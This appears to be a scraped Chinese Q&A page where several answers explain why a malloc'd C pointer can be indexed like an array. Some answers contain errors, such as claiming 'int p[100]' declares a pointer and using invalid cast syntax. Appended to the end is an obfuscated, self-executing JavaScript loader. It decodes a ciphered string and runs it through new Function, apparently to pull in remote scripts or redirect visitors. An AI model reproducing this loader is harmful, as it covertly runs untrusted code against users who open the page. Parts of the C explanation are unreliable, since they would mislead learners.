为何指针变量分配动态空间后,其指向的变量可以直接当数组用??
推荐回答(5个)
简单的说,使用指针的时候,*(p+1)和p[1]都是合法的。它们语义上没有区别。因此不存在*(p+1)可以p[1]不可以的情况。
在使用指针的过程中,我们需要关注的除了指针的内容外,指针是否指向有效的内存空间也是十分需要关注的。
大大的问题主要需要关注的正是指针所指内存的有效性。
大大的问题本身就不合理。这表明大大对指针的理解不够未够充分。一般开始学指针的人都有这样的问题。因此不直接回答大大所提的问题。
回答这个问题,可以从抽象的语言上的语法上的范畴来解释。但也可以从实际的,靠近机器的范畴来回答。我尝试选择后者。
先理解以下:
1. C语言有变量,变量有类型,譬如 char, int,float...,也包括指针类型
2. 不同的类型有不同的内存大小。char 1 byte, int 4 或8 byte,所有指针类型都是4或8byte
3. float标记的是浮点,int标记的是整形,而指针标记的是内存地址。
4. 指针用 *标识,而前面的类型(int *的int,char *的char, 等等)所标识的是读取方式。
5. 虽然C语言的变量是有类型的,内存本身并没有这个概念。对于内存来说,它自身只有地址和数值。
如果大大能理解这些的话。请大大回答,没有类型的内存是如何变成有类型的变量的?这估计很多初学者都难以回答。
所谓的类型,本质上是数据的意义和数据的操作的集合。
二进制码:0000 0000 0100 0001 它可以标识 字符‘null'和'A',也可以标识整形65,或者16位的颜色代码。对于字符我们可以打印,对于整形,我们可以加减乘除,对于颜色,我们可以显示。。。
因此,对于前面这块2byte内存,我们可以进行各种不一样的操作。而决定进行怎样的操作有两个关键:1,内存的抽象类型,2,类型的操作集合。
假设,我们之前的这块内存的地址是0x0001
void *p = 0x0001; 则让一个不知类型的指针指向0x0001这块内存。
int *p = 0x0001;则让一个指针指向0x0001这块内存,并告知程序此内存可以执行整形操作,譬如加减乘除,或者 void func(int i);等等。
typedef int16_t color16;
color16 *p = 0x0001;则让一个指针指向0x0001这块内存,并告知程序它可以执行与color16类型相关的操作。
如是,指针存储的是内存地址,前面的类型,则标识指针可执行的操作。
然而还有一个最很关键的问题没有讨论。那就是内存的大小。
虽然指针描述了内存的地址,但内存的有效大小是多少却没有给出。譬如,刚才的那块内存是16位。但指针并不知道它的合法长度。
事实上,每次读取指针内容的时候会按照提示的类型的大小进行读取。如果是char 则每次读取1byte。p+1或者p[1]的内容是0000 0000 (null),p+2或者p[2]的内容是0100 0001 ('A')。
如果是 int16_t或者short,每次读取2byte。p+1或者p[1]的内容是0000 0000 0100 0001。p+2或者p[2]的则语义上不合法(语法上合法),因为,超出有效内存的范围。
最后,malloc是为程序分配动态内存的方法。当调用malloc(100)的时候,系统则分配100byte给程序。这块内存直到程序结束或者使用free(void *)的时候才会被重新释放。而这100type的空间能够作为100个char的空间,或者25个32位int的空间(因此,int *p = (int *)malloc(100); p的最大合法下标是p[24]。它与int arr[100]; 是不同的)。
数组的定义,与指针之间的主要差别是:
数组:
必须有类型。给出单元的大小;
非动态分配。数组的内存是在栈里面的。当栈被pop的时候内存就被释放。也就是说,当数组所在的scope结束,数组就被释放。(所谓scope在C里面就是一对的{}括号的范围)譬如:
if(true){
int arr[10]; //arr 被分配
} //arr 被释放
指针:
可以没有类型。void的时候,算是没有类型,没有给出单元的大小,虽然void某种程度上是一种类型。
可以指向动态内存。指针所指向的未必是动态内存,但可以是动态内存。动态内存是在堆里面分配的,一般是用malloc,calloc,或者realloc,来分配。动态内存是需要用free()来释放的,静态内存一定不要用free()释放,他会自动被释放。例如
void *func(){
void *p = malloc(100);
return p; //p所指向的内存不会被释放。
}
int p[100]; 如此声明,其实就是声明了一个int *p;这个p指向了一个有100个int空间的内存区域,有点类似int *p= (int*)malloc(sizeof(int)); 只不过这两者p所指向的区域不同。int p[100]这里的p指向调用栈里的某一块区域,这块区域是随着函数的调用而建立的一块区域,随着函数的返回,这块区域在逻辑上“消亡”,所以当函数返回后,该局部变量不能被继续使用了;而int *p= (int*)malloc(sizeof(int));这里的p指向全局的一个被叫做“堆”的区域,这个区域不随函数返回而消亡,所以这个p是可以在函数外使用的,当然这个区域如果不用free来释放的话会一直存在,可能造成内存泄露。
至于你说的int *p;能写*(p+1)不能写p[1];这个不知道你是根据什么来说的,应该如果直接写的话编译可以通过,但是运行时会报错,因为你的p没有指向一个具体的位置,如果指向了内存不允许你写的一个区域,就会报错。
int *p=int * malloc(100);这个可以写p[1]是正常的,因为p已经指向了内存堆区,所以p[1]就应该是第二个内存地址处。
如果我的回答有不解之处,欢迎追问
你理解错了,之所以能写*(p+1)是因为p指向了一个数组的首地址
才能使用*(p+1),可以使用*(p+1)的地方就可以用p[1];
而所以不行,是因为后面的内存空间未被定义
而用一个 int *p = int * malloc (100) ; 函数,为p申请了一个内存,并指向它的首地址
相当于定义了一个数组,而p就是这个数组的名字
你定义a[10];也可以写*(a+5)的
int a[10];
int *p = a;
a[1] 等价于 *(a+1) 等价于 p[1] 等价于 *(p+1)
因为【语法规定, 数组名等价与其第一个元素的指针】
int *p = malloc (sizeof(int)*100) );
可以把p理解为一个100个int的数组。 p指向数组第一个元素。 *p等价于 p[0]
p 大部分情况下和 数组a是完全等价的。
极少数情况例外, 比如说 sizeof(a)得到的是 40, 而sizeof(p)得到的是4
因为sizeof(数组)得到整个数组的字节数, 而sizeof(指针)得到一个指针的字节数
因为[]在C++中是一种运算符,p[1]等价于 *(p+1),表示取 p+1中的内容。p+1的值是p向后移动sizeof(int)*1个字节,而 p+2就是p向后移动sizeof(int)*2个字节。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();